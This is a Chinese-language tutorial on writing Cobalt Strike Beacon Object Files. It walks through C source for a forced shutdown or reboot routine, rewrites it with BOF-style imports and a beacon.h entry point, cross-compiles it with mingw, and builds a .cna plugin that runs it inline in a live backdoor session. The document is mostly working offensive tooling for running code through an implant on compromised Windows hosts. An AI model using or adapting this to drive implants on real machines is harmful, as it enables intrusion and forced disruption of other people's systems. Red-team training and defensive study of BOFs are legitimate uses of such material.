BOF
1.基础概念
Beacon Object File,可以简单理解为一种可以向运行中的后门中注入 C 代码运行的机制
.o 文件,是源码编译生成的中间产物
.cna 文件,是 Cobalt Strike 的插件文件
2.BOF 编写
.o 文件生成
先用 C 语言写一段想要运行的代码
shutdown.c:
#include <windows.h>
int main() {
char* command = (char*)"shutdown";
UINT uint; // 操作
HANDLE hToken; // 访问令牌句柄
TOKEN_PRIVILEGES tkp; // 存储特权信息
// 选择操作
if (!strcmp(command, "shutdown")) {
uint = EWX_SHUTDOWN | EWX_FORCE; // 强制关机
}
else {
uint = EWX_REBOOT | EWX_FORCE; // 强制重启
}
// 获取当前进程访问令牌句柄
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
// 获取 SE_SHUTDOWN_NAME 特权的本地唯一标识符(LUID)
LookupPrivilegeValueW(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1; // 只调整一个特权
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // 启用特权
// 获取 SE_SHUTDOWN_NAME 特权
AdjustTokenPrivileges(hToken, 0, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);
// 强制关机/重启
ExitWindowsEx(uint, 0);
}
对调用的函数进行声明和替换
Kernel32 用 WINBASEAPI
ADVAPI32 用 WINADVAPI
C 语言标准库函数 用 WINBASEAPI + MSVCRT$
查找函数声明:
┌──(root㉿MyKali2023)-[~/桌面]
└─# cd /usr/share/mingw-w64/include
┌──(root㉿MyKali2023)-[/usr/share/mingw-w64/include]
└─# grep -r OpenProcessToken
ddk/ntifs.h:NtOpenProcessToken(
ddk/ntifs.h:NtOpenProcessTokenEx(
ddk/ntifs.h:ZwOpenProcessTokenEx(
ddk/ntifs.h:ZwOpenProcessToken (
processthreadsapi.h: WINADVAPI WINBOOL WINAPI OpenProcessToken (HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle);
shutdown.c:
#include <windows.h>
WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentProcess();
WINBASEAPI INT WINAPI USER32$ExitWindowsEx(UINT, DWORD);
WINBASEAPI INT WINAPI MSVCRT$strcmp(const char*, const char*);
WINBASEAPI INT WINAPI KERNEL32$OpenProcessToken(HANDLE, DWORD, PHANDLE);
WINADVAPI INT WINAPI ADVAPI32$LookupPrivilegeValueA(LPCSTR, LPCSTR, PLUID);
WINADVAPI INT WINAPI ADVAPI32$AdjustTokenPrivileges(HANDLE, BOOL, PTOKEN_PRIVILEGES, DWORD, PTOKEN_PRIVILEGES, PDWORD);
int main() {
char* command = (char*)"shutdown";
UINT uint; // 操作
HANDLE hToken; // 访问令牌句柄
TOKEN_PRIVILEGES tkp; // 存储特权信息
// 选择操作
if (!MSVCRT$strcmp(command, "shutdown")) {
uint = EWX_SHUTDOWN | EWX_FORCE; // 强制关机
}
else {
uint = EWX_REBOOT | EWX_FORCE; // 强制重启
}
// 获取当前进程访问令牌句柄
KERNEL32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
// 获取 SE_SHUTDOWN_NAME 特权的本地唯一标识符(LUID)
ADVAPI32$LookupPrivilegeValueA(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1; // 只调整一个特权
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // 启用特权
// 获取 SE_SHUTDOWN_NAME 特权
ADVAPI32$AdjustTokenPrivileges(hToken, 0, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);
// 强制关机/重启
USER32$ExitWindowsEx(uint, 0);
}
引入 beacon.h,添加入口点
#include <windows.h>
#include "beacon.h"
WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentProcess();
WINBASEAPI INT WINAPI USER32$ExitWindowsEx(UINT, DWORD);
WINBASEAPI INT WINAPI MSVCRT$strcmp(const char*, const char*);
WINBASEAPI INT WINAPI KERNEL32$OpenProcessToken(HANDLE, DWORD, PHANDLE);
WINADVAPI INT WINAPI ADVAPI32$LookupPrivilegeValueA(LPCSTR, LPCSTR, PLUID);
WINADVAPI INT WINAPI ADVAPI32$AdjustTokenPrivileges(HANDLE, BOOL, PTOKEN_PRIVILEGES, DWORD, PTOKEN_PRIVILEGES, PDWORD);
void go(IN PCHAR args, IN ULONG length) {
// 接收参数
datap parser;
BeaconDataParse(&parser, args, length);
char* command = BeaconDataExtract(&parser, NULL);
...
}
生成 .o 文件
┌──(root㉿MyKali2023)-[~/桌面/BOF]
└─# ls
beacon.h shutdown.c
┌──(root㉿MyKali2023)-[~/桌面/BOF]
└─# x86_64-w64-mingw32-gcc -c shutdown.c -o shutdown.x64.o
┌──(root㉿MyKali2023)-[~/桌面/BOF]
└─# x86_64-w64-mingw32-gcc -m32 -c shutdown.c -o shutdown.x86.o
.cna 插件编写
shutdown.cna:
# 输入框调用
alias shutdown {
# 打印字符串
btask($1, 'SHUTDOWN via BOF @ HexNy0a 2023.11.02');
# 调用函数
shutdown($1, $2); # $1 是当前会话 ID, $2 是命令后第一个参数
}
# 函数定义
sub shutdown {
# 局部变量
local('$barch $handle $data $args');
$barch = barch($1); # 获取后门位数
$handle = openf(script_resource("shutdown. $+ $barch $+ .o")); # 获取 .o 文件句柄
$data = readb($handle, -1); # 读取 .o 文件二进制数据
closef($handle); # 关闭句柄
# 打包参数
$args = bof_pack($1, 'z', $2); # $2 是一个 z 类型参数 (char*)
# 运行 .o 文件
beacon_inline_execute($1, $data, 'go', $args);
}
.cna 与 .o 同文件夹,导入 CNA 插件,执行命令